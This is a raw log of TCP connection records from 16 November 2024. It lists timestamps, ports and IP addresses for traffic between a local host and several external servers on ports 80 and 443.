Nov 16, 2024 19:22:08.487759113 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:08.487782001 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:08.487802029 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:08.487817049 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:08.487839937 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:08.487850904 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:08.487864017 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:08.487900972 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:08.488079071 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:08.488112926 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:08.488137960 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:08.488145113 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:08.488158941 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:08.488178968 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:08.488207102 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:08.488214970 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:08.488236904 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:08.488249063 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:08.488281965 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:08.488287926 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:08.488308907 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:08.488315105 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:08.488333941 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:08.488349915 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:08.488372087 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:08.488383055 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:08.488409042 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:08.488419056 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:08.488430023 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:08.488476992 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:08.494369984 CET	49674	443	192.168.2.5	23.1.237.91
Nov 16, 2024 19:22:08.619577885 CET	49673	443	192.168.2.5	23.1.237.91
Nov 16, 2024 19:22:10.366703987 CET	443	49703	23.1.237.91	192.168.2.5
Nov 16, 2024 19:22:10.370302916 CET	49703	443	192.168.2.5	23.1.237.91
Nov 16, 2024 19:22:10.461304903 CET	49705	443	192.168.2.5	142.250.186.100
Nov 16, 2024 19:22:10.461371899 CET	443	49705	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:10.461441994 CET	49706	443	192.168.2.5	142.250.186.100
Nov 16, 2024 19:22:10.461462021 CET	49705	443	192.168.2.5	142.250.186.100
Nov 16, 2024 19:22:10.461488008 CET	443	49706	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:10.461544037 CET	49707	443	192.168.2.5	142.250.186.100
Nov 16, 2024 19:22:10.461548090 CET	49706	443	192.168.2.5	142.250.186.100
Nov 16, 2024 19:22:10.461564064 CET	443	49707	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:10.461633921 CET	49708	443	192.168.2.5	142.250.186.100
Nov 16, 2024 19:22:10.461663008 CET	49707	443	192.168.2.5	142.250.186.100
Nov 16, 2024 19:22:10.461677074 CET	443	49708	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:10.461725950 CET	49708	443	192.168.2.5	142.250.186.100
Nov 16, 2024 19:22:10.465493917 CET	49708	443	192.168.2.5	142.250.186.100
Nov 16, 2024 19:22:10.465516090 CET	443	49708	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:10.465754032 CET	49707	443	192.168.2.5	142.250.186.100
Nov 16, 2024 19:22:10.465795040 CET	443	49707	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:10.465938091 CET	49706	443	192.168.2.5	142.250.186.100
Nov 16, 2024 19:22:10.465949059 CET	443	49706	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:10.466160059 CET	49705	443	192.168.2.5	142.250.186.100
Nov 16, 2024 19:22:10.466180086 CET	443	49705	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:11.317755938 CET	443	49708	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:11.317770004 CET	443	49706	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:11.318164110 CET	49706	443	192.168.2.5	142.250.186.100
Nov 16, 2024 19:22:11.318209887 CET	443	49706	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:11.318469048 CET	49708	443	192.168.2.5	142.250.186.100
Nov 16, 2024 19:22:11.318516016 CET	443	49708	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:11.318905115 CET	443	49705	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:11.320569038 CET	443	49706	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:11.320584059 CET	443	49708	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:11.320647001 CET	49706	443	192.168.2.5	142.250.186.100
Nov 16, 2024 19:22:11.320648909 CET	49708	443	192.168.2.5	142.250.186.100
Nov 16, 2024 19:22:11.326561928 CET	49705	443	192.168.2.5	142.250.186.100
Nov 16, 2024 19:22:11.326621056 CET	443	49705	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:11.327616930 CET	443	49705	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:11.327676058 CET	49705	443	192.168.2.5	142.250.186.100
Nov 16, 2024 19:22:11.330589056 CET	49708	443	192.168.2.5	142.250.186.100
Nov 16, 2024 19:22:11.330679893 CET	443	49708	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:11.331449986 CET	49706	443	192.168.2.5	142.250.186.100
Nov 16, 2024 19:22:11.331554890 CET	49705	443	192.168.2.5	142.250.186.100
Nov 16, 2024 19:22:11.331625938 CET	443	49706	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:11.331643105 CET	443	49705	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:11.332097054 CET	49708	443	192.168.2.5	142.250.186.100
Nov 16, 2024 19:22:11.332114935 CET	443	49708	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:11.332232952 CET	49706	443	192.168.2.5	142.250.186.100
Nov 16, 2024 19:22:11.332245111 CET	443	49706	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:11.332290888 CET	49705	443	192.168.2.5	142.250.186.100
Nov 16, 2024 19:22:11.332310915 CET	443	49705	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:11.338602066 CET	443	49707	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:11.338790894 CET	49707	443	192.168.2.5	142.250.186.100
Nov 16, 2024 19:22:11.338810921 CET	443	49707	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:11.340276003 CET	443	49707	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:11.340347052 CET	49707	443	192.168.2.5	142.250.186.100
Nov 16, 2024 19:22:11.340619087 CET	49707	443	192.168.2.5	142.250.186.100
Nov 16, 2024 19:22:11.340709925 CET	443	49707	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:11.340711117 CET	49707	443	192.168.2.5	142.250.186.100
Nov 16, 2024 19:22:11.379354000 CET	49708	443	192.168.2.5	142.250.186.100
Nov 16, 2024 19:22:11.379359007 CET	49706	443	192.168.2.5	142.250.186.100
Nov 16, 2024 19:22:11.379365921 CET	49705	443	192.168.2.5	142.250.186.100
Nov 16, 2024 19:22:11.383328915 CET	443	49707	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:11.394987106 CET	49707	443	192.168.2.5	142.250.186.100
Nov 16, 2024 19:22:11.395004988 CET	443	49707	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:11.442123890 CET	49707	443	192.168.2.5	142.250.186.100
Nov 16, 2024 19:22:11.599222898 CET	443	49706	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:11.627532005 CET	443	49707	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:11.628278971 CET	443	49705	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:11.628421068 CET	443	49705	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:11.628488064 CET	443	49705	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:11.628560066 CET	49705	443	192.168.2.5	142.250.186.100
Nov 16, 2024 19:22:11.628607988 CET	443	49705	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:11.628675938 CET	49705	443	192.168.2.5	142.250.186.100
Nov 16, 2024 19:22:11.628693104 CET	443	49705	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:11.628784895 CET	443	49705	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:11.629371881 CET	49705	443	192.168.2.5	142.250.186.100
Nov 16, 2024 19:22:11.629384995 CET	443	49705	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:11.636543989 CET	443	49705	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:11.636797905 CET	49705	443	192.168.2.5	142.250.186.100
Nov 16, 2024 19:22:11.636811018 CET	443	49705	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:11.642718077 CET	49706	443	192.168.2.5	142.250.186.100
Nov 16, 2024 19:22:11.642733097 CET	443	49706	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:11.642791033 CET	49706	443	192.168.2.5	142.250.186.100
Nov 16, 2024 19:22:11.669332027 CET	443	49708	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:11.672007084 CET	49707	443	192.168.2.5	142.250.186.100
Nov 16, 2024 19:22:11.672024012 CET	443	49707	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:11.674135923 CET	49707	443	192.168.2.5	142.250.186.100
Nov 16, 2024 19:22:11.674434900 CET	443	49707	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:11.674853086 CET	443	49707	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:11.674913883 CET	49707	443	192.168.2.5	142.250.186.100
Nov 16, 2024 19:22:11.674964905 CET	49707	443	192.168.2.5	142.250.186.100
Nov 16, 2024 19:22:11.691663980 CET	49705	443	192.168.2.5	142.250.186.100
Nov 16, 2024 19:22:11.691685915 CET	443	49705	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:11.723001003 CET	49708	443	192.168.2.5	142.250.186.100
Nov 16, 2024 19:22:11.723041058 CET	443	49708	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:11.727906942 CET	49708	443	192.168.2.5	142.250.186.100
Nov 16, 2024 19:22:11.727971077 CET	443	49708	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:11.728133917 CET	443	49708	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:11.728193998 CET	49708	443	192.168.2.5	142.250.186.100
Nov 16, 2024 19:22:11.728214025 CET	49708	443	192.168.2.5	142.250.186.100
Nov 16, 2024 19:22:11.742867947 CET	49705	443	192.168.2.5	142.250.186.100
Nov 16, 2024 19:22:11.744906902 CET	443	49705	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:11.744966984 CET	443	49705	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:11.745016098 CET	49705	443	192.168.2.5	142.250.186.100
Nov 16, 2024 19:22:11.745033979 CET	443	49705	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:11.747215986 CET	443	49705	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:11.747262001 CET	49705	443	192.168.2.5	142.250.186.100
Nov 16, 2024 19:22:11.747275114 CET	443	49705	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:11.801495075 CET	49705	443	192.168.2.5	142.250.186.100
Nov 16, 2024 19:22:11.890398026 CET	443	49705	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:11.890603065 CET	443	49705	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:11.890665054 CET	49705	443	192.168.2.5	142.250.186.100
Nov 16, 2024 19:22:11.890686989 CET	443	49705	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:11.890805006 CET	443	49705	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:11.890912056 CET	443	49705	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:11.890945911 CET	49705	443	192.168.2.5	142.250.186.100
Nov 16, 2024 19:22:11.890959978 CET	443	49705	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:11.891005993 CET	49705	443	192.168.2.5	142.250.186.100
Nov 16, 2024 19:22:11.891017914 CET	443	49705	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:11.891468048 CET	443	49705	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:11.891565084 CET	443	49705	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:11.891633987 CET	49705	443	192.168.2.5	142.250.186.100
Nov 16, 2024 19:22:11.891648054 CET	443	49705	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:11.891755104 CET	443	49705	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:11.891805887 CET	49705	443	192.168.2.5	142.250.186.100
Nov 16, 2024 19:22:11.891817093 CET	443	49705	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:11.891865015 CET	49705	443	192.168.2.5	142.250.186.100
Nov 16, 2024 19:22:11.892492056 CET	443	49705	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:11.892653942 CET	443	49705	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:11.892741919 CET	443	49705	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:11.892887115 CET	49705	443	192.168.2.5	142.250.186.100
Nov 16, 2024 19:22:11.892900944 CET	443	49705	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:11.892946959 CET	49705	443	192.168.2.5	142.250.186.100
Nov 16, 2024 19:22:11.893176079 CET	443	49705	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:11.893336058 CET	443	49705	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:11.893425941 CET	443	49705	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:11.893517971 CET	49705	443	192.168.2.5	142.250.186.100
Nov 16, 2024 19:22:11.893531084 CET	443	49705	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:11.893578053 CET	49705	443	192.168.2.5	142.250.186.100
Nov 16, 2024 19:22:11.893589020 CET	443	49705	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:11.894190073 CET	443	49705	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:11.897203922 CET	49705	443	192.168.2.5	142.250.186.100
Nov 16, 2024 19:22:11.897218943 CET	443	49705	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:11.942485094 CET	49705	443	192.168.2.5	142.250.186.100
Nov 16, 2024 19:22:12.007764101 CET	443	49705	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:12.007971048 CET	443	49705	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:12.008050919 CET	49705	443	192.168.2.5	142.250.186.100
Nov 16, 2024 19:22:12.008065939 CET	443	49705	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:12.008097887 CET	443	49705	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:12.008261919 CET	443	49705	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:12.008315086 CET	49705	443	192.168.2.5	142.250.186.100
Nov 16, 2024 19:22:12.008335114 CET	443	49705	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:12.008390903 CET	49705	443	192.168.2.5	142.250.186.100
Nov 16, 2024 19:22:12.008402109 CET	443	49705	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:12.008500099 CET	443	49705	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:12.008589029 CET	443	49705	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:12.008650064 CET	49705	443	192.168.2.5	142.250.186.100
Nov 16, 2024 19:22:12.008662939 CET	443	49705	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:12.008708954 CET	49705	443	192.168.2.5	142.250.186.100
Nov 16, 2024 19:22:12.008718967 CET	443	49705	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:12.008799076 CET	443	49705	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:12.008843899 CET	443	49705	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:12.008893967 CET	49705	443	192.168.2.5	142.250.186.100
Nov 16, 2024 19:22:12.008898020 CET	443	49705	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:12.008909941 CET	443	49705	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:12.008941889 CET	49705	443	192.168.2.5	142.250.186.100
Nov 16, 2024 19:22:12.008987904 CET	443	49705	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:12.009052038 CET	49705	443	192.168.2.5	142.250.186.100
Nov 16, 2024 19:22:12.009064913 CET	443	49705	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:12.009159088 CET	443	49705	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:12.009196997 CET	443	49705	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:12.009227037 CET	443	49705	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:12.009263039 CET	49705	443	192.168.2.5	142.250.186.100
Nov 16, 2024 19:22:12.009283066 CET	443	49705	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:12.009325981 CET	49705	443	192.168.2.5	142.250.186.100
Nov 16, 2024 19:22:12.009649992 CET	443	49705	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:12.009695053 CET	443	49705	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:12.009732962 CET	443	49705	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:12.009747982 CET	49705	443	192.168.2.5	142.250.186.100
Nov 16, 2024 19:22:12.009759903 CET	443	49705	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:12.009785891 CET	49705	443	192.168.2.5	142.250.186.100
Nov 16, 2024 19:22:12.009809017 CET	443	49705	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:12.009838104 CET	443	49705	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:12.009880066 CET	49705	443	192.168.2.5	142.250.186.100
Nov 16, 2024 19:22:12.009892941 CET	443	49705	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:12.009941101 CET	49705	443	192.168.2.5	142.250.186.100
Nov 16, 2024 19:22:12.010437965 CET	443	49705	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:12.010567904 CET	443	49705	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:12.010605097 CET	443	49705	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:12.010626078 CET	49705	443	192.168.2.5	142.250.186.100
Nov 16, 2024 19:22:12.010638952 CET	443	49705	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:12.010742903 CET	443	49705	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:12.010773897 CET	443	49705	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:12.010788918 CET	49705	443	192.168.2.5	142.250.186.100
Nov 16, 2024 19:22:12.010802031 CET	443	49705	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:12.010827065 CET	49705	443	192.168.2.5	142.250.186.100
Nov 16, 2024 19:22:12.011464119 CET	443	49705	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:12.011503935 CET	443	49705	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:12.011538029 CET	443	49705	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:12.011564970 CET	49705	443	192.168.2.5	142.250.186.100
Nov 16, 2024 19:22:12.011583090 CET	443	49705	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:12.011605024 CET	49705	443	192.168.2.5	142.250.186.100
Nov 16, 2024 19:22:12.011641979 CET	443	49705	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:12.011674881 CET	443	49705	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:12.011686087 CET	49705	443	192.168.2.5	142.250.186.100
Nov 16, 2024 19:22:12.011698961 CET	443	49705	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:12.012641907 CET	443	49705	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:12.012681007 CET	443	49705	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:12.012697935 CET	49705	443	192.168.2.5	142.250.186.100
Nov 16, 2024 19:22:12.012715101 CET	443	49705	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:12.012737036 CET	49705	443	192.168.2.5	142.250.186.100
Nov 16, 2024 19:22:12.067471981 CET	49705	443	192.168.2.5	142.250.186.100
Nov 16, 2024 19:22:12.067490101 CET	443	49705	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:12.114372969 CET	49705	443	192.168.2.5	142.250.186.100
Nov 16, 2024 19:22:12.124404907 CET	443	49705	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:12.124597073 CET	443	49705	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:12.124675989 CET	49705	443	192.168.2.5	142.250.186.100
Nov 16, 2024 19:22:12.124696016 CET	443	49705	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:12.124787092 CET	443	49705	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:12.124881029 CET	443	49705	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:12.124949932 CET	49705	443	192.168.2.5	142.250.186.100
Nov 16, 2024 19:22:12.124963045 CET	443	49705	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:12.125010014 CET	49705	443	192.168.2.5	142.250.186.100
Nov 16, 2024 19:22:12.125020981 CET	443	49705	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:12.125143051 CET	443	49705	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:12.125232935 CET	443	49705	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:12.125281096 CET	49705	443	192.168.2.5	142.250.186.100
Nov 16, 2024 19:22:12.125293970 CET	443	49705	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:12.125341892 CET	49705	443	192.168.2.5	142.250.186.100
Nov 16, 2024 19:22:12.125353098 CET	443	49705	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:12.125452042 CET	443	49705	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:12.125550032 CET	443	49705	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:12.125598907 CET	49705	443	192.168.2.5	142.250.186.100
Nov 16, 2024 19:22:12.125611067 CET	443	49705	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:12.125659943 CET	49705	443	192.168.2.5	142.250.186.100
Nov 16, 2024 19:22:12.125670910 CET	443	49705	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:12.148426056 CET	443	49705	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:12.150250912 CET	49705	443	192.168.2.5	142.250.186.100
Nov 16, 2024 19:22:12.191334009 CET	49705	443	192.168.2.5	142.250.186.100
Nov 16, 2024 19:22:12.191417933 CET	443	49705	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:13.485644102 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:13.485707045 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:14.071554899 CET	49721	443	192.168.2.5	142.250.186.100
Nov 16, 2024 19:22:14.071657896 CET	443	49721	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:14.071764946 CET	49721	443	192.168.2.5	142.250.186.100
Nov 16, 2024 19:22:14.071973085 CET	49721	443	192.168.2.5	142.250.186.100
Nov 16, 2024 19:22:14.072011948 CET	443	49721	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:14.925947905 CET	49723	443	192.168.2.5	184.28.90.27
Nov 16, 2024 19:22:14.926019907 CET	443	49723	184.28.90.27	192.168.2.5
Nov 16, 2024 19:22:14.926088095 CET	49723	443	192.168.2.5	184.28.90.27
Nov 16, 2024 19:22:14.927582026 CET	49723	443	192.168.2.5	184.28.90.27
Nov 16, 2024 19:22:14.927618027 CET	443	49723	184.28.90.27	192.168.2.5
Nov 16, 2024 19:22:14.928301096 CET	443	49721	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:14.928529024 CET	49721	443	192.168.2.5	142.250.186.100
Nov 16, 2024 19:22:14.928594112 CET	443	49721	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:14.930102110 CET	443	49721	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:14.930171013 CET	49721	443	192.168.2.5	142.250.186.100
Nov 16, 2024 19:22:14.930468082 CET	49721	443	192.168.2.5	142.250.186.100
Nov 16, 2024 19:22:14.930562973 CET	443	49721	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:14.972747087 CET	49721	443	192.168.2.5	142.250.186.100
Nov 16, 2024 19:22:14.972810030 CET	443	49721	142.250.186.100	192.168.2.5
Nov 16, 2024 19:22:14.998672009 CET	49724	443	192.168.2.5	172.217.18.14
Nov 16, 2024 19:22:14.998712063 CET	443	49724	172.217.18.14	192.168.2.5
Nov 16, 2024 19:22:14.998779058 CET	49724	443	192.168.2.5	172.217.18.14
Nov 16, 2024 19:22:14.998953104 CET	49724	443	192.168.2.5	172.217.18.14
Nov 16, 2024 19:22:14.998963118 CET	443	49724	172.217.18.14	192.168.2.5
Nov 16, 2024 19:22:15.018697977 CET	49721	443	192.168.2.5	142.250.186.100
Nov 16, 2024 19:22:15.624624014 CET	49704	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:15.624839067 CET	49729	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:15.629755020 CET	80	49704	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:15.629829884 CET	80	49729	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:15.629901886 CET	49729	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:15.629988909 CET	49729	80	192.168.2.5	185.215.113.206
Nov 16, 2024 19:22:15.634814978 CET	80	49729	185.215.113.206	192.168.2.5
Nov 16, 2024 19:22:15.775332928 CET	443	49723	184.28.90.27	192.168.2.5
Nov 16, 2024 19:22:15.775542974 CET	49723	443	192.168.2.5	184.28.90.27
Nov 16, 2024 19:22:15.780288935 CET	49723	443	192.168.2.5	184.28.90.27
Nov 16, 2024 19:22:15.780320883 CET	443	49723	184.28.90.27	192.168.2.5
Nov 16, 2024 19:22:15.780751944 CET	443	49723	184.28.90.27	192.168.2.5
Nov 16, 2024 19:22:15.818129063 CET	49723	443	192.168.2.5	184.28.90.27
Nov 16, 2024 19:22:15.859359980 CET	443	49723	184.28.90.27	192.168.2.5
Nov 16, 2024 19:22:15.861553907 CET	443	49724	172.217.18.14	192.168.2.5
Nov 16, 2024 19:22:15.861799002 CET	49724	443	192.168.2.5	172.217.18.14
Nov 16, 2024 19:22:15.861813068 CET	443	49724	172.217.18.14	192.168.2.5
Nov 16, 2024 19:22:15.863030910 CET	443	49724	172.217.18.14	192.168.2.5
Nov 16, 2024 19:22:15.863099098 CET	49724	443	192.168.2.5	172.217.18.14
Nov 16, 2024 19:22:15.865540981 CET	443	49724	172.217.18.14	192.168.2.5
Nov 16, 2024 19:22:15.865605116 CET	49724	443	192.168.2.5	172.217.18.14
Nov 16, 2024 19:22:15.869600058 CET	49724	443	192.168.2.5	172.217.18.14
Nov 16, 2024 19:22:15.869771957 CET	443	49724	172.217.18.14	192.168.2.5
Nov 16, 2024 19:22:15.869829893 CET	49724	443	192.168.2.5	172.217.18.14
Nov 16, 2024 19:22:15.869839907 CET	443	49724	172.217.18.14	192.168.2.5
Nov 16, 2024 19:22:15.869854927 CET	49724	443	192.168.2.5	172.217.18.14
Nov 16, 2024 19:22:15.910330057 CET	49724	443	192.168.2.5	172.217.18.14
Nov 16, 2024 19:22:15.910337925 CET	443	49724	172.217.18.14	192.168.2.5
Nov 16, 2024 19:22:16.058393002 CET	443	49723	184.28.90.27	192.168.2.5
Nov 16, 2024 19:22:16.058469057 CET	443	49723	184.28.90.27	192.168.2.5
Nov 16, 2024 19:22:16.058629036 CET	49723	443	192.168.2.5	184.28.90.27
Nov 16, 2024 19:22:16.068192959 CET	49723	443	192.168.2.5	184.28.90.27
Nov 16, 2024 19:22:16.068192959 CET	49723	443	192.168.2.5	184.28.90.27
Nov 16, 2024 19:22:16.068249941 CET	443	49723	184.28.90.27	192.168.2.5
Nov 16, 2024 19:22:16.068281889 CET	443	49723	184.28.90.27	192.168.2.5
Nov 16, 2024 19:22:16.120012999 CET	49730	443	192.168.2.5	184.28.90.27
Nov 16, 2024 19:22:16.120095015 CET	443	49730	184.28.90.27	192.168.2.5
Nov 16, 2024 19:22:16.120183945 CET	49730	443	192.168.2.5	184.28.90.27
Nov 16, 2024 19:22:16.120488882 CET	49730	443	192.168.2.5	184.28.90.27
Nov 16, 2024 19:22:16.120524883 CET	443	49730	184.28.90.27	192.168.2.5
Nov 16, 2024 19:22:16.132688046 CET	443	49724	172.217.18.14	192.168.2.5
Nov 16, 2024 19:22:16.175502062 CET	49724	443	192.168.2.5	172.217.18.14
